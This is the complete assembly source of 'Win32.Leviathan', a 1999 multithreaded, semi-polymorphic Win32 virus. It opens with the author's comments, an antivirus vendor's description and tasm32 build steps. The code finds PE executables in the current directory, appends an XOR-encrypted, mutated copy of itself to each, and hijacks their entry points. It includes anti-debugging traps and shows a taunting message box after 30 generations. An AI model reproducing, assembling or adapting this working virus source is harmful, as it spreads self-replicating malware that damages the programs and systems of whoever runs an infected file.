;======================================
;|  Win32.Leviathan (c) 1999 by Benny |
;======================================
;
;
;
;Author's description
;=====================
;
;I'm very proud to introduce my third Win32 virus. This honey is the FIRST MULTITHREADED
;semi-polymorphic antidebuggin' antiheuristic Win32 infector. Thats not all. This is also
;first virus simulatin' NEURAL NETS. Each neuron is simulated as one thread.
;Dendrits (more inputs) and Axons (one output) r coded as normal function parameters.
;Synapses ("conectors" linkin' neurons) r represented as single jumps and synchronizin'
;stuff. In bio-neurons, memory and ability to learn is in fact nothing other than 
;swappin' synapses. This virus doesn't contain any learn-abilities, 'cause i've decided,
;there's nothing important to learn. Now, tell me, if u wanna have uncompleted virus that
;needs to teach step by step every shit, u want to be able to do it. I think, u don't
;and I don't want it too. But next version, i will improve it, i swear :-D.
;As u can see, this virus is wrote in very short time (ask Super for reason, hehe),
;so if u will see any errors, mail me to benny@post.cz. I'm expectin' the most errors
;and mistypes will be present in synchronizin' stuff. I know, that method of
;synchronizin' of threads is the worst, I could choose, but it has two reasons - debuggers
;and heuristic scanners. ALL threads r runnin' on the background, so EVERY heuristic
;scanner that wants to detect it MUST support multi-threadin'. That's not easy to code, 
;so this is the best anti-heuristic, I know. It works well also for debuggers. When u will
;step this, u will see only some decryptor, some API calls and "infinite" loop. But all
;other stuff is runnin' on the background, so u have to watch all threads. And that's not
;all, u have to watch and skip one "anti-debuggin'" thread, if u hate problems
;with debuggin' :D. And the last thing: This virus is unoptimized, i know that. It's
;simulatin' program written in some HLL language. It uses many instructions, many loops,
;many jumps and many variables. Heuristic scanner must have very large stack to handle
;this babe... (the biggest problem is speed of infected programs, but who cares...:D)
;
;I think, this is the first step of makin' really armoured, anti-debuggin', anti-heuristic
;and (the most important thing) "inteligent" viruses.
;
;
;
;Payload
;--------
;
;If the virus has done at least 30 generation, u will see dialog box with some
;comments.
;
;
;
;AVP's description
;==================
;
;It is not a dangerous nonmemory resident encrypted parasitic Windows32 virus. It searches
;for PE EXE files (Windows executable files) in the current directory, then writes itself
;to the end of the file. While infecting the virus writes itself to the end of last file
;section, increases its size and modifies program's startup address. 
;
;Starting from the 30th generation the virus displays the message window, they are different in
;different virus versions: 
;
;
;Levi.3040
;----------
;
;Displays the following text: 
;
;  Win32.Wildfire (c) 1998 Magnic
;  I am/I can - The Wildfire virus.
;  -d    e     c     o     d     e-
;  idwhereamif73hrjddhffidosyeudifr
;  ghfeugenekasperskydjfkdjisfatued
;  938rudandmydickisgrowingehdjfggk
;
;
;Levi.3236
;----------
;
;Displays the following text: 
;
;  Hey stupid !
;  Win32.Leviathan (c) 1999 by Benny
;  This is gonna be your nightmare...
;  30th generation of Leviathan is here... beware of me !
;  Threads are stripped, ship is sinkin'...
;
;  Greetz:  Darkman/29A
;           Super/29A
;           Billy Belcebu/DDT
;           and all other 29Aers...
;
;  Special greet:
;           Arthur Rimbaud
;
;  New milenium is knockin on the door...
;  New generation of viruses is here, nothing promised, no regret.
;
;
;While infecting the virus runs seven threads from its main procedure. Each thread performs only
;limited set of actions and passes control to next thread: one thread checks system conditions
;and enables second thread that searches for files, then third thread checks the file structure,
;then next thread writes the virus code to the file, e.t.c. 
;
;To get access to Windows Kernel32 functions the virus scans victim files for GetModuleHandleA
;and GetModuleHandleW imported functions. In case no these exports found, the virus does not
;affect the file. Otherwise is stores functions' addresses and uses them in its installation
;routine. 
;
;
;
;Author's notes
;===============
;
;Bah, as u can see, there r two versions of virus. There is also "a second one" (Win32.Levi.3236).
;When I finished this, I sent it to my friends and to every ppl who wanted to see it (binary only
;ofcoz). L8r, when I was on IRC, IntelServ (in that time, I didn't know, whata jerk IntelServ is)
;changed his nick to "Z0MBie" (in that time nick of one 29Aer) and asked me for source. Yeah,
;that time I didn't know that silly "trick", which many lamers used to get sources from someones.
;I gave that to him and that was BIG mystake. Well, some lamer modified source and made new
;variant of virus. U can see, that new version is smaller and displays another message as payload.
;But thing that made me laughin' and cryin' is date of release that variant prints. It prints
;"1998" year. That lamer wanted to show ya, that he was the first one who coded it. Many ppl
;thought I stolen source code from someone and "improved" that, so I had to explain everyone, I
;was the first and that silly version is stolen one. Here u have original source, so I hope u will
;believe me. And last note: None of any normal coderz could do that. Only lamerz, only ppl that
;can't code anything that would be able to run can do this. Let's say hello to them X-D.
;
;
;
;Greetz
;=======
;
;       Darkman/29A............ Thanx for all
;       Super/29A.............. Hey, thanx for motivation... X-D
;       IntelServ.............. U lame!
;       Magnic/WildFire/Lamer.. Hahaha, gewd. And can u code anything else?
;       and all coderz.........	Trust noone!
;
;
;
;Who is this virus dedicated for?
;=================================
;
;For the best French poetist ever, for Jean-Arthur-Nicolas-Rimbaud.
;
;
;
;How to build
;=============
;
;	tasm32 -ml -q -m4 levi.asm
;	tlink32 -Tpe -c -x -aa -r levi,,, import32
;	pewrsec levi.exe
;
;
;
;Who da fuck is that Leviathan ?
;================================
;
;Open (un)holy book, stupid !
;
;
;
;(c) 1999 Benny. Enjoy!




.386p							;386 protected instructions
.model flat						;32bit offset

include win32api.inc					;some includes
include pe.inc
include mz.inc
include useful.inc

REALTIME_PRIORITY_CLASS	=	80h			;constant for changin priorities

extrn GetModuleHandleA:PROC				;needed by first generation
extrn GetModuleHandleW:PROC
extrn ExitProcess:PROC


.data
	db	?					;for tlink32's pleasure
ends


.code
Start:
	pushad						;push all regs
j1:	nop				;here starts decryptorn NOPs r filled with junk bytes
	call j2						;get delta
j2:	nop
	mov ebp, [esp]
j3:	nop
	sub ebp, offset j2
j4:	nop
	lea esi, [ebp + encrypted]			;enrypted stuff start
j5:	nop
	mov ecx, (virus_end - encrypted + 3) / 4	;count
j6:	nop
	mov edi, 0					;enrypt constant
key =	dword ptr $ - 4
j7:	nop
decrypt:
	xor [esi], edi					;decrypt 4 bytes
j8:	nop
	add esi, 4					;next 4 bytes
j9:	nop
	loop decrypt					;do it ECX times


encrypted:
	pop ecx						;delta remainder
	mov ecx, offset _GetModuleHandleA - 400000h	;first dendrit
MyGMHA	=	dword ptr $ - 4
	mov eax, offset _GetModuleHandleW - 400000h	;second dendrit
MyGMHW	=	dword ptr $ - 4
	call Neuron_GMH					;call first pseudo-neuron
	jecxz error					;error, jump to host
	mov [ebp + K32Handle], ecx			;store handle
	xchg eax, ecx					;first dendrit

	lea esi, [ebp + szAPIs]				;second dendrit
	lea edi, [ebp + ddAPIs]				;third
	call Neuron_GPA					;call pseudo-neuron
	jecxz error					;error ?

	call [ebp + ddGetCurrentProcess]		;get pseudo-handle of cur. process
	mov esi, eax
	push esi
	call [ebp + ddGetPriorityClass]			;get current process priority
	mov edi, eax
	push REALTIME_PRIORITY_CLASS
	push esi
	call [ebp + ddSetPriorityClass]			;set new one
	xchg eax, ecx
	jecxz error					;error ?

	call Neuron_Init				;Init neurons by pseudo-neuron
	jecxz error

n_loop:	cmp byte ptr [ebp + JumpToHost], 0		;can i jump to host ?
	je n_loop					;neurons r runnin', wait

	push edi
	push esi
	call [ebp + ddSetPriorityClass]			;set back priority

	xor eax, eax					;check for payload
	mov al, 29
	cmp [ebp + NumOfExecs], eax			;executed for 30x ?
	jb error
	cmp [ebp + GenerationCount], eax		;30th generation ?
	jb error
	in al, 40h
	and al, 10					;check tix
	cmp al, 2
	jne error
	call Neuron_PayLoad				;call pseudo-neuron -> payload

error:	mov [esp.Pushad_eax], ebp
	popad						;recover stack and registers
	mov eax, [eax + EntryPoint]
	add eax, 400000h
	jmp eax						;jump to host

;----------------------------------------------------------------------------------

Neuron_PayLoad	Proc
	call payload
	db	'USER32', 0				;push this name
payload:
	call [ebp + ddLoadLibraryA]			;load USER32.DLL
	test eax, eax
	je end_payload
	mov ebx, eax
	lea esi, [ebp + szMessageBoxA]
	call GetProcAddress				;find API
	xchg eax, ecx
	jecxz end_payload				;not found, no payload :-(

	push 1000h
	lea edx, [ebp + szMsgTitle]
	push edx
	lea edx, [ebp + szMsgText]
	push edx
	push 0
	call ecx					;display message box

	push ebx
	call [ebp + ddFreeLibrary]

end_payload:
	ret
Neuron_PayLoad	EndP

;----------------------------------------------------------------------------------

Neuron_Init	Proc
n1:	xor eax, eax						;suspend neurons
	mov [ebp + nDebugger_run], al
	mov [ebp + nFind_run], al
	mov [ebp + nCheck_run], al
	mov [ebp + nInfect_run], al
	mov [ebp + nOpenFile_run], al
	mov [ebp + nCloseFile_run], al
	mov [ebp + nVersion_run], 1				;resume first neuron

	lea ebx, [ebp + ddThreadID]				;create all threads/neurons
	lea esi, [ebp + StartOfNeurons]
	lea edi, [ebp + NHandles]
	mov ecx, num_of_neurons

InitNeurons:
	push ecx
n2:	xor eax, eax
	push ebx
	push eax
	push ebp
	mov edx, [esi]
	add edx, ebp
	push edx
	push eax
	push eax
	call [ebp + ddCreateThread]				;create thread
	pop ecx
t1:	test eax, eax
	je init_er
	stosd
	add esi, 4
	loop InitNeurons					;ECX times
init_er:
	xchg eax, ecx
	ret
Neuron_Init	EndP

;----------------------------------------------------------------------------------

Neuron_GMH	Proc		;dendrits:	EAX	- address of GMHW
				;		ECX	- address of GMHA
				;axon	:	ECX	- module handle

	mov edx, 400000h					;add Image Base
	jecxz try_gmhW
	add ecx, edx
	call szk32a
K32	db	'KERNEL32', 0
szk32a:	call [ecx]						;GetModuleHandleA API call
	xchg eax, ecx
	ret
try_gmhW:
	add eax, edx
	xchg eax, ecx
	jecxz gmh_er
	call szk32w
K32W	dw	'K','E','R','N','E','L','3','2', 0
szk32w:	call [ecx]						;GetModuleHandleW API call
	xchg eax, ecx
	ret
gmh_er:	xor ecx, ecx
	ret
Neuron_GMH	EndP

;----------------------------------------------------------------------------------

Neuron_GPA	Proc		;dendrits:	EAX	- module handle
				;		ESI	- address of API strings
				;		EDI	- address of API addresses
				;axon	:	ECX = 0, if error
	mov ebx, eax
n_gpa:	call GetProcAddress					;get API address
t2:	test eax, eax
	je gpa_er
	stosd							;store address
	@endsz							;end string
	mov eax, ebx
	cmp byte ptr [esi], 0ffh				;end of APIs ?
	jne n_gpa
	ret
gpa_er:	xor ecx, ecx						;error, ECX=0
	ret

GetProcAddress:
	pushad
	@SEH_SetupFrame <jmp Proc_Address_not_found>
	mov ebx, eax
	add eax, [ebx.MZ_lfanew]
	mov ecx, [eax.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_Size]
	jecxz Proc_Address_not_found
	mov ebp, ebx
	add ebp, [eax.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
	push ecx
	mov edx, ebx
	add edx, [ebp.ED_AddressOfNames]
	mov ecx, [ebp.ED_NumberOfNames]
n3:	xor eax, eax
Search_for_API_name:
	mov edi, [esp + 16]
	mov esi, ebx
	add esi, [edx + eax * 4]
Next_Char_in_API_name:
        cmpsb
	jz Matched_char_in_API_name
	inc eax
	loop Search_for_API_name
	pop eax
Proc_Address_not_found:
n4:	xor eax, eax
	jmp End_MyGetProcAddress
Matched_char_in_API_name:
	cmp byte ptr [esi-1], 0
	jne Next_Char_in_API_name
	pop ecx
	mov edx, ebx
	add edx, [ebp.ED_AddressOfOrdinals]
	movzx eax, word ptr [edx + eax * 2]
Check_Index:
	cmp eax, [ebp.ED_NumberOfFunctions]
	jae Proc_Address_not_found
	mov edx, ebx
	add edx, [ebp.ED_AddressOfFunctions]
	add ebx, [edx + eax * 4]
	mov eax, ebx
	sub ebx, ebp
	cmp ebx, ecx
	jb Proc_Address_not_found
End_MyGetProcAddress:
        @SEH_RemoveFrame
	mov [esp.Pushad_eax], eax
	popad
	ret
Neuron_GPA	EndP

;----------------------------------------------------------------------------------

GetProcAddressIT proc	;dendrits:	EAX - API name
			;		ECX - lptr to PE header
			;		EDX - module name
			;axon:		EAX - RVA pointer to IAT, 0 if error
	pushad
n5:	xor eax, eax
	push ebp
	mov esi, [ecx.MZ_lfanew]
	add esi, ecx
	mov eax, [esi.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress]
	mov ebp, ecx
	push ecx
	movzx ecx, word ptr [esi.NT_FileHeader.FH_NumberOfSections]
	movzx ebx, word ptr [esi.NT_FileHeader.FH_SizeOfOptionalHeader]
	lea ebx, [esi.NT_OptionalHeader + ebx]
scan_sections:
	mov edx, [ebx.SH_VirtualAddress]
	cmp edx, eax
	je section_found
	sub ebx, -IMAGE_SIZEOF_SECTION_HEADER
	loop scan_sections
	pop ecx
	pop eax
	jmp End_GetProcAddressIT2
section_found:
	mov ebx, [ebx + 20]
	add ebx, ebp
	pop ecx
	pop eax
	test ebx, ebx
	je End_GetProcAddressIT2
	xor esi, esi
	xor ebp, ebp
	push esi
	dec ebp
Get_DLL_Name:
	pop esi
	inc ebp
	mov edi, [esp + 20]
	mov ecx, [ebx.esi.ID_Name]
	test ecx, ecx
	je End_GetProcAddressIT2
	sub ecx, edx
	sub esi, -IMAGE_SIZEOF_IMPORT_DESCRIPTOR
	push esi
	lea esi, [ebx + ecx]
Next_Char_from_DLL:
	lodsb
	add al, -'.'	
	jz IT_nup
	sub al, -'.' + 'a'
        cmp al, 'z' - 'a' + 1
	jae no_up
	add al, -20h
no_up:	sub al, -'a'
IT_nup:	scasb
	jne Get_DLL_Name
	cmp byte ptr [edi-1], 0
	jne Next_Char_from_DLL
Found_DLL_Name:
	pop esi	
	imul eax, ebp, IMAGE_SIZEOF_IMPORT_DESCRIPTOR
	mov ecx, [ebx + eax.ID_OriginalFirstThunk]
	jecxz End_GetProcAddressIT2
	sub ecx, edx
	add ecx, ebx
	xor esi, esi
Next_Imported_Name:
	push esi
	mov edi, [esp + 32]
	mov esi, [ecx + esi]
	test esi, esi
	je End_GetProcAddressIT3
	sub esi, edx
	add esi, ebx
	lodsw
next_char:
	cmpsb
	jne next_step
	cmp byte ptr [esi-1], 0
	je got_it
	jmp next_char
next_step:
	pop esi
	sub esi, -4
	jmp Next_Imported_Name
got_it:	pop esi
	imul ebp, IMAGE_SIZEOF_IMPORT_DESCRIPTOR
	add ebx, ebp
	mov eax, [ebx.ID_FirstThunk]
	add eax, esi
	mov [esp + 28], eax
	jmp End_GetProcAddressIT
End_GetProcAddressIT3:
	pop eax
End_GetProcAddressIT2:
n6:	xor eax, eax
	mov [esp.Pushad_eax], eax
End_GetProcAddressIT:
	popad
	ret
GetProcAddressIT EndP

;----------------------------------------------------------------------------------

Neuron_GetVersion	Proc PASCAL uses ebx edi esi, delta_param:DWORD
n_getver:
	mov ebx, delta_param				;delta offset as dendrit

n7:	xor eax, eax
nVersion_susp:
	cmp al, 123					;synchronize
nVersion_run =	byte ptr $ - 1
	je nVersion_susp

	call [ebx + ddGetVersion]			;get version of windoze
	xor ecx, ecx
	cmp eax, 80000000h
	jb WinNT					;WinNT present
	cmp ax, 0a04h
	jb Win95					;Win95 present
	inc ecx						;probably Win98

Win95:	jmp n_gv
WinNT:	inc ecx
	inc ecx
n_gv:	inc dword ptr [ebx + NumOfExecs]		;increment variable
	mov [ebx + ndeb_param], cl
	mov byte ptr [ebx + nDebugger_run], 1		;resume thread (synapse)
	call ExitThread
Neuron_GetVersion	EndP

;----------------------------------------------------------------------------------

ExitThread:						;current thread will be canceled
	push 0
	call [ebx + ddExitThread]

;----------------------------------------------------------------------------------

Neuron_Debugger		Proc PASCAL uses ebx edi esi, delta_param:DWORD
n_debugger:
	mov ebx, delta_param				;delta as dendrit1

n8:	xor eax, eax
nDebugger_susp:
	cmp al, 123					;synchronize
nDebugger_run =	byte ptr $ - 1
	je nDebugger_susp
	mov cl, 123                                     ;version of Windoze as dendrit2
ndeb_param =	byte ptr $ - 1
	cmp cl, 0
	je end_debugger

	pushad
	@SEH_SetupFrame <jmp seh_fn>
	push edx
	pop dword ptr [edx]				;SEH trap
	jmp Win98_trap

seh_rs:	mov eax, [ebx + K32Handle]
	lea esi, [ebx + szIsDebuggerPresent]
	call GetProcAddress				;get API address
	xchg eax, ecx
	jecxz end_debugger
	call ecx					;is debugger present ?
	xchg eax, ecx
	jecxz end_debugger
	cmp bl, 2
	je WinNT_trap

Win98_trap:
	push 19cdh xor 666
	xor word ptr [esp], 666
	pop dword ptr [ebx + WinNT_trap]		;int 19h

WinNT_trap:
n9:	xor eax, eax					;GP fault
	push eax
	pop esp
	jmp $ - 1

seh_fn:	@SEH_RemoveFrame
	popad
	jmp seh_rs

end_debugger:
	mov [ebx + nFind_run], 1			;resume thread (synapse)
	jmp ExitThread
Neuron_Debugger		EndP

;----------------------------------------------------------------------------------

Neuron_Find	Proc PASCAL uses ebx edi esi, delta_param:DWORD
n_find:	mov ebx, delta_param

n10:	xor eax, eax
find_susp:
	cmp al, 123
nFind_run =	byte ptr $ - 1
	je find_susp

	lea edx, [ebx + WFD]
	push edx
	lea edx, [ebx + szExt]
	push edx
	call [ebx + ddFindFirstFileA]			;find first file
	xchg eax, ecx
	jecxz end_Find
	mov [ebx + SearchHandle], ecx			;save handle

check&infect:
	lea edx, [ebx + nCheck_run]			;resume check_file neuron
	mov al, 1
	mov [edx], al
nFind1_wait:
	cmp [edx], al
	je nFind1_wait
	inc eax
	cmp [edx], al
	je try_next_file

	lea edx, [ebx + nInfect_run]			;resume infect_file neuron
	mov al, 1
	mov [edx], al
nFind2_wait:
	cmp [edx], al
	je nFind2_wait

try_next_file:
	lea edx, [ebx + WFD]
	push edx
	push [ebx + SearchHandle]
	call [ebx + ddFindNextFileA]			;find next file
t3:	test eax, eax
	jne check&infect

end_Find:
	mov al, 11h					;quit-signal to all neurons
	mov [ebx + nCheck_run], al
	mov [ebx + nInfect_run], al
	mov [ebx + nOpenFile_run], al
	mov [ebx + nCloseFile_run], al
	mov byte ptr [ebx + JumpToHost], al
	jmp ExitThread					;quit
Neuron_Find	EndP

;----------------------------------------------------------------------------------

Neuron_CheckFile	Proc PASCAL uses ebx edi esi, delta_param:DWORD
n_checkfile:
	mov ebx, delta_param

n11:	xor eax, eax
check_susp:
	cmp al, 123
nCheck_run =	byte ptr $ - 1
	je check_susp
	cmp [ebx + nCheck_run], 11h			;quit ?
	je ExitThread

	xor esi, esi					;discard directories
	test byte ptr [ebx + WFD.WFD_dwFileAttributes], FILE_ATTRIBUTE_DIRECTORY
	jne end_chkfile
	xor ecx, ecx
	cmp [ebx + WFD.WFD_nFileSizeHigh], ecx		;discard huge files
	jne end_chkfile
	mov eax, [ebx + WFD.WFD_nFileSizeLow]
	cmp eax, 1000h					;discard file < 4096
	jb end_chkfile

n12:	xor eax, eax					;open file
	inc eax
	mov [ebx + nopen_param2], eax
	lea eax, [ebx + WFD.WFD_szFileName]
	mov [ebx + nopen_param1], eax

	lea edx, [ebx + nOpenFile_run]			;synchronizin threads
	mov al, 1
	mov [edx], al
nCheck1_wait:
	cmp [edx], al
	je nCheck1_wait
	inc eax
	cmp [edx], al
	je end_closefile

	mov edx, [ebx + lpFile]
	cmp word ptr [edx], IMAGE_DOS_SIGNATURE		;must be MZ
	jne end_closefile
	cmp byte ptr [edx.MZ_res2], 0
	jne end_closefile
	mov ecx, [edx.MZ_lfanew]
	jecxz end_closefile
	mov eax, [ebx + WFD.WFD_nFileSizeLow]		;valid MZ_lfanew ?
	cmp eax, ecx
	jb end_closefile
	add ecx, edx

	cmp dword ptr [ecx], IMAGE_NT_SIGNATURE		;must be PE\0\0
	jne end_closefile
	cmp word ptr [ecx.NT_FileHeader.FH_Machine], IMAGE_FILE_MACHINE_I386
	jne end_closefile				;must be 386+
	mov eax, dword ptr [ecx.NT_FileHeader.FH_Characteristics]
	not al
	test ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_DLL
	jne end_closefile				;must be executable, mustnt be DLL
	cmp [ecx.NT_OptionalHeader.OH_ImageBase], 400000h	;image base
	jne end_closefile
	mov esi, 'Levi'					;toggle flag

end_closefile:
n13:	xor eax, eax					;close file
	mov [ebx + nclose_param2], eax
	inc eax
	inc eax
	mov [ebx + nclose_param1], eax

	lea edx, [ebx + nCloseFile_run]			;synchronize threads
	mov al, 1
	mov [edx], al
nCheck2_wait:
	cmp [edx], al
	je nCheck2_wait

end_chkfile:
n14:	xor eax, eax
	cmp esi, 'Levi'					;check flag
	je @20
	inc eax
	inc eax
@20:	mov [ebx + nCheck_run], al
	jmp check_susp
Neuron_CheckFile	EndP

;----------------------------------------------------------------------------------

Neuron_OpenFile	Proc PASCAL uses ebx edi esi, delta_param:DWORD
n_openfile:
	mov ebx, delta_param

n15:	xor eax, eax
open_susp:
	cmp al, 123
nOpenFile_run =	byte ptr $ - 1
	je open_susp
	cmp [ebx + nOpenFile_run], 11h			;quit ?
	je ExitThread

	mov esi, 12345678h
nopen_param1 =	dword ptr $ - 4				;name
	mov ecx, 12345678h
nopen_param2 =	dword ptr $ - 4
	jecxz open_write				;open write mode

	xor edi, edi
	jmp next_open
open_write:
	mov edi, 12345678h				;size
nopen_param3 =	dword ptr $ - 4
next_open:
n16:	xor eax, eax
	dec eax
	mov [ebx + lpFile], eax
	inc eax

	push eax
	push eax
	push OPEN_EXISTING
	push eax
	mov al, 1
	push eax
	ror eax, 1
	mov ecx, edi
	jecxz $ + 4
	rcr eax, 1
	push eax
	push esi
	call [ebx + ddCreateFileA]			;open file
	cdq
	xor esi, esi
	mov [ebx + hFile], eax
	inc eax
	je end_OpenFile
	dec eax

	push edx
	push edi
	push edx
	mov dl, PAGE_READONLY
	mov ecx, edi
	jecxz $ + 4
	shl dl, 1
	push edx
	push esi
	push eax
	call [ebx + ddCreateFileMappingA]		;create mapping of file
	cdq
	xchg eax, ecx
	mov [ebx + hMapFile], ecx
	jecxz end_OpenFile2

	push edi
	push edx
	push edx
	mov dl, FILE_MAP_READ
	test edi, edi
	je $ + 4
	shr dl, 1
	push edx
	push ecx
	call [ebx + ddMapViewOfFile]			;map file to address space
	xchg eax, ecx
	mov [ebx + lpFile], ecx
	jecxz end_OpenFile3
	xor eax, eax
	jmp @e

end_OpenFile:
	mov al, 2
@e:	mov [ebx + nOpenFile_run], al
	jmp open_susp
end_OpenFile2:
	mov [ebx + nclose_param1], ecx
	mov al, 1
	lea edx, [ebx + nCloseFile_run]
	mov [edx], al
nOpen_wait:
	cmp [edx], al
	je nOpen_wait
n17:	xor eax, eax
	inc eax
	inc eax
	mov [ebx + nOpenFile_run], al
	jmp open_susp
end_OpenFile3:
	inc ecx
	jmp end_OpenFile2
Neuron_OpenFile	EndP

;----------------------------------------------------------------------------------

Neuron_CloseFile	Proc PASCAL uses ebx edi esi, delta_param:DWORD
n_closefile:
	mov ebx, delta_param
n18:	xor eax, eax
close_susp:
	cmp al, 123
nCloseFile_run =	byte ptr $ - 1
	je close_susp
	cmp [ebx + nCloseFile_run], 11h			;quit ?
	je ExitThread

	mov ecx, 12345678h				;mode
nclose_param1 =	dword ptr $ - 4
	jecxz @10
	cmp cl, 1
	je @11
	mov edi, 12345678h
nclose_param2 =	dword ptr $ - 4
	push [ebx + lpFile]
	call [ebx + ddUnmapViewOfFile]			;unmap view of file
@11:	push [ebx + hMapFile]
	call [ebx + ddCloseHandle]			;close mapping object
	test edi, edi
	je @10
	mov esi, [ebx + hFile]
n19:	xor eax, eax
	push eax
	push eax
	push edi
	push esi
	call [ebx + ddSetFilePointer]			;set file pointer to EOF
	push esi
	call [ebx + ddSetEndOfFile]			;trucate file
@10:	lea eax, [ebx + WFD.WFD_ftLastWriteTime]
	push eax
	lea eax, [ebx + WFD.WFD_ftLastAccessTime]
	push eax
	lea eax, [ebx + WFD.WFD_ftCreationTime]
	push eax
	push esi
	call [ebx + ddSetFileTime]			;set back file time
	push [ebx + hFile]
	call [ebx + ddCloseHandle]			;close time
	mov byte ptr [ebx + nCloseFile_run], 0
	jmp n_closefile
Neuron_CloseFile	EndP

;----------------------------------------------------------------------------------

Neuron_InfectFile	Proc PASCAL uses ebx edi esi, delta_param:DWORD
n_infectfile:
	mov ebx, delta_param

n20:	xor eax, eax
inf_susp:
	cmp al, 123
nInfect_run =	byte ptr $ - 1
	je inf_susp
	cmp [ebx + nInfect_run], 11h			;quit ?
	je ExitThread

	xor esi, esi
	push esi
	lea edi, [ebx + WFD.WFD_szFileName]
	push edi
	call [ebx + ddSetFileAttributesA]		;blank file attributes
t4:	test eax, eax
	je end_InfectFile

	mov [ebx + nopen_param1], edi
	mov [ebx + nopen_param2], esi
	mov eax, [ebx + WFD.WFD_nFileSizeLow]
	add eax, virus_end - Start + 5000
	mov [ebx + nopen_param3], eax

	lea edx, [ebx + nOpenFile_run]			;open file
n21:	xor eax, eax
	inc eax
	mov [edx], al
inf_wait:
	cmp [edx], al
	je inf_wait
	dec eax
	dec eax
	mov ecx, [ebx + lpFile]
	cmp ecx, eax
	je end_InfectFile

	lea eax, [ebx + szGetModuleHandleA]
	lea edx, [ebx + K32]
	call GetProcAddressIT				;search for GMHA in IT
t5:	test eax, eax
	jne stoK32

	lea eax, [ebx + szGetModuleHandleW]
	call GetProcAddressIT				;search for GMHW in IT
t6:	test eax, eax
	je end_InfectClose
	mov [ebx + MyGMHW], eax
n22:	xor eax, eax
stoK32:	mov [ebx + MyGMHA], eax

	mov edx, [ebx + lpFile]
	push edx
	push edx
	add edx, [edx.MZ_lfanew]
	push ebp

	movzx esi, word ptr [edx.NT_FileHeader.FH_SizeOfOptionalHeader]
	lea esi, [edx.NT_OptionalHeader + esi]				;locate first section
	movzx ecx, word ptr [edx.NT_FileHeader.FH_NumberOfSections]	;get number of sctnz
	mov edi, esi							;get LAST section
n23:	xor eax, eax
	push ecx
BSection:
	cmp [edi.SH_PointerToRawData], eax
	je NBiggest
	mov ebp, ecx
	mov eax, [edi.SH_PointerToRawData]
NBiggest:
	sub edi, -IMAGE_SIZEOF_SECTION_HEADER
	loop BSection	
	pop ecx
	sub ecx, ebp
	imul eax, ecx, IMAGE_SIZEOF_SECTION_HEADER
	add esi, eax

	mov edi, dword ptr [esi.SH_SizeOfRawData]
	mov eax, virtual_end - Start
	push edi
	lea edi, [esi.SH_VirtualSize]			;new virtual size of section
	push dword ptr [edi]
	add [edi], eax
	mov eax, [edi]

	push edx
	mov ecx, [edx.NT_OptionalHeader.OH_FileAlignment]
	xor edx, edx
	div ecx
	xor edx, edx
	inc eax
	mul ecx
	mov [esi.SH_SizeOfRawData], eax		;new SizeOfRawData (aligned virtual size)
	mov ecx, eax
	pop edx

	pop ebp
	add ebp, [esi.SH_VirtualAddress]
	mov eax, [edx.NT_OptionalHeader.OH_AddressOfEntryPoint]
	pop edi
	push eax
	mov eax, [ebx + EntryPoint]
	pop [ebx + EntryPoint]
	mov [edx.NT_OptionalHeader.OH_AddressOfEntryPoint], ebp
	sub ecx, edi
	add [edx.NT_OptionalHeader.OH_SizeOfImage], ecx		;new SizeOfImage
	or byte ptr [esi.SH_Characteristics.hiw.hib], 0e0h	;change flags

	pop ebp
	pop edi
	mov byte ptr [edi.MZ_res2], 1
	add edi, [esi.SH_PointerToRawData]
	add edi, [esi.SH_VirtualSize]
	add edi, Start - virtual_end 
	lea esi, [ebx + buffer]
	mov ecx, (virus_end - Start + 3) / 4
	inc dword ptr [ebx + GenerationCount]
	call Mutate
	rep movsd						;copy virus
	mov [ebx + EntryPoint], eax			;restore variable after copy stage

	pop edx						;get start of MM-file
	sub edi, edx					;calculate new size
	jmp @30

end_InfectClose:
	mov edi, [ebx + WFD.WFD_nFileSizeLow]
@30:	mov byte ptr [ebx + nclose_param1], 2
	mov [ebx + nclose_param2], edi			;close file
n24:	xor eax, eax
	inc eax
	lea edx, [ebx + nCloseFile_run]
	mov [edx], al
@40:	cmp [edx], al
	je @40
end_InfectFile:
	push [ebx + WFD.WFD_dwFileAttributes]
	lea edi, [ebx + WFD.WFD_szFileName]
	push edi
	call [ebx + ddSetFileAttributesA]		;set back file attributes
	mov [ebx + nInfect_run], 0
	jmp n_infectfile
Neuron_InfectFile	EndP

;----------------------------------------------------------------------------------

Mutate	Proc
	pushad						;store all regs


;first stage will rebuild some instructions with others, that does same thing
; - this is part of polymorphism
;1) nulify eax register

_mut_:	lea esi, [ebx + nPoints]			;start of address table
mutate:	lodsd						;load first address
t7:	test eax, eax
	je next_mutate					;end ?
mut_jmp	=	dword ptr $ - 2
	je end_mutate
	mov edi, eax
	add edi, ebx					;correct by delta offset
	in al, 40h					;get pseudo-random number
	and al, 2					;truncate
	je mut1
	cmp al, 1
	je mutate

	mov ax, 0
org $ - 2
c1:	xor eax, eax
	jmp op_st1					;rewrite with xor eax, eax opcode
mut1:	mov ax, 0
org $ - 2
c2:	sub eax, eax
op_st1:	stosw
	jmp mutate

next_mutate:
;2) test for eax

	mov dword ptr [ebx + mutate - 4], offset tPoints
	mov word ptr [ebx + mut_jmp], 9090h
	mov word ptr [ebx + c1], 0
org $ - 2
	test eax, eax
	mov word ptr [ebx + c2], 0
org $ - 2
	or eax, eax
	jmp mutate


;this will crypt our body and insert some junk instructions randomly
end_mutate:
	lodsd
	test eax, eax
	je _crypt_
	xchg eax, edi
	add edi, ebx
	xor eax, eax
	push esi
	lea esi, [ebx + junx]
	in al, 40h
	and al, num_of_junx
	add esi, eax
	lodsb
	pop esi
	stosb
	jmp end_mutate

_crypt_:
	;generate pseudo-random key
	in ax, 40h
	shl eax, 16
	in ax, 40h
	xchg eax, edx
	mov [ebx + key], edx

	;copy decryptor
	lea esi, [ebx + Start]
	lea edi, [ebx + buffer]
	mov ecx, encrypted - Start
	rep movsb

	;crypt body
	mov ecx, (virus_end - encrypted + 3) / 4
crypt:	lodsd
	xor eax, edx
	stosd
	loop crypt

	popad
	ret
Mutate	EndP

;----------------------------------------------------------------------------------

EntryPoint		dd		offset ExitProcess - 400000h

;xor eax, eax
nPoints:		irp Num, <1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24>
			dd		offset n&Num
			endm
nCount			=	($ - nPoints)/4
			dd		0

;test eax, eax
